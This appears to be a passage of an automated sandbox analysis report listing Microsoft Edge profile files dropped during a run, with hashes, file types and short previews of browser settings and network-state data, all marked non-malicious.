Preview:	.`.Z}................VERSION.1..META:https://ntp.msn.com............_https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":1084}.!_https://ntp.msn.com..LastKnownPV..1732058362193.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732058363714.._https://ntp.msn.com..MUID!.045B60278D93687D3610751B8C3B691E.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732058362269,"schedule":[20,16,-1,-1,-1,-1,33],"scheduleFixed":[20,16,-1,-1,-1,-1,33],"simpleSchedule":[30,43,40,26,48,50,10]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732058362152.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241119.367"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_ht

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.17443168699596
Encrypted:	false
SSDEEP:	6:HUI0+q2P923oH+Tcwt8a2jMGIFUt8YUIXvZmw+YUIsNVkwO923oH+Tcwt8a2jMmd:5Jv4Yeb8EFUt8C//+Co5LYeb8bJ
MD5:	BE3F2F4896619339BBE59FF6D85C1AA7
SHA1:	90C4BF6B629808E39E57F7823600FE4E9B5531AF
SHA-256:	A36F2E23F1924DC8BFAD7EFBA506A87FE0E1D414763EFBD25752B03F8A2C4E78
SHA-512:	003A2B9EEDE72B91C35BDADA047CE3947AF530FE420789CFC142023B60FFA7DA61508C4064CFD80C085CAAA47076714C2FD2E77ED9017283F00E78D2159C2CAA
Malicious:	false
Preview:	2024/11/19-18:19:14.501 6f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/19-18:19:14.502 6f8 Recovering log #3.2024/11/19-18:19:14.505 6f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.17443168699596
Encrypted:	false
SSDEEP:	6:HUI0+q2P923oH+Tcwt8a2jMGIFUt8YUIXvZmw+YUIsNVkwO923oH+Tcwt8a2jMmd:5Jv4Yeb8EFUt8C//+Co5LYeb8bJ
MD5:	BE3F2F4896619339BBE59FF6D85C1AA7
SHA1:	90C4BF6B629808E39E57F7823600FE4E9B5531AF
SHA-256:	A36F2E23F1924DC8BFAD7EFBA506A87FE0E1D414763EFBD25752B03F8A2C4E78
SHA-512:	003A2B9EEDE72B91C35BDADA047CE3947AF530FE420789CFC142023B60FFA7DA61508C4064CFD80C085CAAA47076714C2FD2E77ED9017283F00E78D2159C2CAA
Malicious:	false
Preview:	2024/11/19-18:19:14.501 6f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/19-18:19:14.502 6f8 Recovering log #3.2024/11/19-18:19:14.505 6f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1157b7a7-140d-408b-a22c-4d269b928aa6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	5.337477146740293
Encrypted:	false
SSDEEP:	24:YcFGJ/I3Rds/sXZVMdmRdsdZFRudFGRw6ma3yeesw6maPsw6C1VdsfZC52HFbxPf:YcgCzs/Ctsbfc7leeBkBRsBCgHFbxo+
MD5:	46DF7D00850ED905E3E7A88571FCF14D
SHA1:	6AAE6BCD02981A5E7CCDAB594075D3B7AC4318A5
SHA-256:	74A6914D9CA84BB4AD531E20C63C4AB56B6F40A79CB6E78EF33AE47D2E054CD5
SHA-512:	195F3D106F64D2ED78F16039D654C11620F4333CAA9B0D936B970C99EF990C543EDC74DDB906607FA5DC844AF3CF777AB8D6993EA16AD4C20E82700489329625
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379123956689734","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379123961643638","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\789dd527-26d9-4d8e-99b4-4204b8455e36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.777215848638363
Encrypted:	false
SSDEEP:	192:tT2ZFVe3aPG0glNSibIdLGDIVIv0Xcf0L/ZJVb:V25SaPXglNSiAXI0LhJVb
MD5:	7F17575EDAFCE07ECA6CC07347B183DC
SHA1:	9852385238DF2FFB3AC7EC9E83EA90741580DA17
SHA-256:	75FBAB984F083F849948ED692EAE819949DEDF17FB6BB1B0E96DD30711F19215
SHA-512:	31029FC796052A6761DC624323D5A261BB849E4563832D2C9F719591B4FBE121D444C7BB7D47920504612701F211F8602F9875D4878D55C20F5FA42FFDB11CF4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	5.337477146740293
Encrypted:	false
SSDEEP:	24:YcFGJ/I3Rds/sXZVMdmRdsdZFRudFGRw6ma3yeesw6maPsw6C1VdsfZC52HFbxPf:YcgCzs/Ctsbfc7leeBkBRsBCgHFbxo+
MD5:	46DF7D00850ED905E3E7A88571FCF14D
SHA1:	6AAE6BCD02981A5E7CCDAB594075D3B7AC4318A5
SHA-256:	74A6914D9CA84BB4AD531E20C63C4AB56B6F40A79CB6E78EF33AE47D2E054CD5
SHA-512:	195F3D106F64D2ED78F16039D654C11620F4333CAA9B0D936B970C99EF990C543EDC74DDB906607FA5DC844AF3CF777AB8D6993EA16AD4C20E82700489329625
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379123956689734","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379123961643638","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1121539193624217
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBpk:JkIEumQv8m1ccnvS6W
MD5:	EDEEA5307B1F2285C2EB3C4066D493F2
SHA1:	5F602D2DA624E7AF073894199843232A7DAF6031
SHA-256:	1252A417BB70AFAFACABC7950463535B6157151B39868EE14C7EF70EB7E9A0EB
SHA-512:	D28D01A8C28F9C54BA36DD01AF52535BAEF26A77989D775FAC6C7E1A4664D4264CE0FE4EDA38C03C10C910192FF4F54BF19EE210BABE6C776641B3D947780EF7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF376e6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF380aa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c8366317-7454-43a6-8121-a8ee71a88f3a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cb6904ab-9ea5-402d-bdd3-4ec7aa33cc73.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ff6cd562-ac9f-4099-96be-a95f4088c0f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13804), with no line terminators
Category:	dropped
Size (bytes):	13806
Entropy (8bit):	5.434273234578071
Encrypted:	false
SSDEEP:	192:stvkdpdsupUsZihUk7XYA6AmmgKD3jeBwYTPCqYj8PbV+FxFQwu66WsaFIMYBPq8:stvQdsuyfhjsmHrjS9JbG/Qwr6WsaTYJ
MD5:	7C3FD0E323A687B0A35C682815D91D77
SHA1:	E9427B96573DE858F14B1312CB8354844AC5422C
SHA-256:	8041FFC6ED48C19848227C071EC86F25E02BFB12176BA6DB312CC5213487BB7B
SHA-512:	D0F4C86720EAAD06BB93CB267C4697BD90FC1A47DE96A5872C2707287DB8E795D55BF13C152187F4E5E9BBF88EFC74B86618F2D39AD9B4F46D8C9FBE1120CBF1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376531954885286","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3abf1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13804), with no line terminators
Category:	dropped
Size (bytes):	13806
Entropy (8bit):	5.434273234578071
Encrypted:	false
SSDEEP:	192:stvkdpdsupUsZihUk7XYA6AmmgKD3jeBwYTPCqYj8PbV+FxFQwu66WsaFIMYBPq8:stvQdsuyfhjsmHrjS9JbG/Qwr6WsaTYJ
MD5:	7C3FD0E323A687B0A35C682815D91D77
SHA1:	E9427B96573DE858F14B1312CB8354844AC5422C
SHA-256:	8041FFC6ED48C19848227C071EC86F25E02BFB12176BA6DB312CC5213487BB7B
SHA-512:	D0F4C86720EAAD06BB93CB267C4697BD90FC1A47DE96A5872C2707287DB8E795D55BF13C152187F4E5E9BBF88EFC74B86618F2D39AD9B4F46D8C9FBE1120CBF1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376531954885286","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f945.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13804), with no line terminators
Category:	dropped
Size (bytes):	13806
Entropy (8bit):	5.434273234578071
Encrypted:	false
SSDEEP:	192:stvkdpdsupUsZihUk7XYA6AmmgKD3jeBwYTPCqYj8PbV+FxFQwu66WsaFIMYBPq8:stvQdsuyfhjsmHrjS9JbG/Qwr6WsaTYJ
MD5:	7C3FD0E323A687B0A35C682815D91D77
SHA1:	E9427B96573DE858F14B1312CB8354844AC5422C
SHA-256:	8041FFC6ED48C19848227C071EC86F25E02BFB12176BA6DB312CC5213487BB7B
SHA-512:	D0F4C86720EAAD06BB93CB267C4697BD90FC1A47DE96A5872C2707287DB8E795D55BF13C152187F4E5E9BBF88EFC74B86618F2D39AD9B4F46D8C9FBE1120CBF1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376531954885286","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46e85.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13804), with no line terminators
Category:	dropped
Size (bytes):	13806
Entropy (8bit):	5.434273234578071
Encrypted:	false
SSDEEP:	192:stvkdpdsupUsZihUk7XYA6AmmgKD3jeBwYTPCqYj8PbV+FxFQwu66WsaFIMYBPq8:stvQdsuyfhjsmHrjS9JbG/Qwr6WsaTYJ
MD5:	7C3FD0E323A687B0A35C682815D91D77
SHA1:	E9427B96573DE858F14B1312CB8354844AC5422C
SHA-256:	8041FFC6ED48C19848227C071EC86F25E02BFB12176BA6DB312CC5213487BB7B
SHA-512:	D0F4C86720EAAD06BB93CB267C4697BD90FC1A47DE96A5872C2707287DB8E795D55BF13C152187F4E5E9BBF88EFC74B86618F2D39AD9B4F46D8C9FBE1120CBF1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376531954885286","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26730
Entropy (8bit):	5.574874874789218
Encrypted:	false
SSDEEP:	768:tNU9ZCWP2Mf8T8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSoGAJ4WrwS/pCtu0n:tNU9ZCWP2Mf8Tu1ja/oGC4zRtd
MD5:	AC6175D40401C04A53674F3BF6EF705C
SHA1:	31AFA00144FD5AAE77E0A6B2ED4429D835332A51
SHA-256:	C8CCCBF5D171EEA74C854D2F3986579CA2488ED3413D2644ECF7A0B2A19785BB
SHA-512:	2D8DC6EAD2A8F45D52C12FA1734777855C492DBBE445D101E6605FE8DE82757F886EF48803B4E84E069E4F920230757738DE0775B4D5BBEC34D70F75E3DC7C5B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376531954115174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376531954115174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3abf1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26730
Entropy (8bit):	5.574874874789218
Encrypted:	false
SSDEEP:	768:tNU9ZCWP2Mf8T8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSoGAJ4WrwS/pCtu0n:tNU9ZCWP2Mf8Tu1ja/oGC4zRtd
MD5:	AC6175D40401C04A53674F3BF6EF705C
SHA1:	31AFA00144FD5AAE77E0A6B2ED4429D835332A51
SHA-256:	C8CCCBF5D171EEA74C854D2F3986579CA2488ED3413D2644ECF7A0B2A19785BB
SHA-512:	2D8DC6EAD2A8F45D52C12FA1734777855C492DBBE445D101E6605FE8DE82757F886EF48803B4E84E069E4F920230757738DE0775B4D5BBEC34D70F75E3DC7C5B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376531954115174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376531954115174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3d3eb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26730
Entropy (8bit):	5.574874874789218
Encrypted:	false
SSDEEP:	768:tNU9ZCWP2Mf8T8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSoGAJ4WrwS/pCtu0n:tNU9ZCWP2Mf8Tu1ja/oGC4zRtd
MD5:	AC6175D40401C04A53674F3BF6EF705C
SHA1:	31AFA00144FD5AAE77E0A6B2ED4429D835332A51
SHA-256:	C8CCCBF5D171EEA74C854D2F3986579CA2488ED3413D2644ECF7A0B2A19785BB
SHA-512:	2D8DC6EAD2A8F45D52C12FA1734777855C492DBBE445D101E6605FE8DE82757F886EF48803B4E84E069E4F920230757738DE0775B4D5BBEC34D70F75E3DC7C5B
Malicious:	false
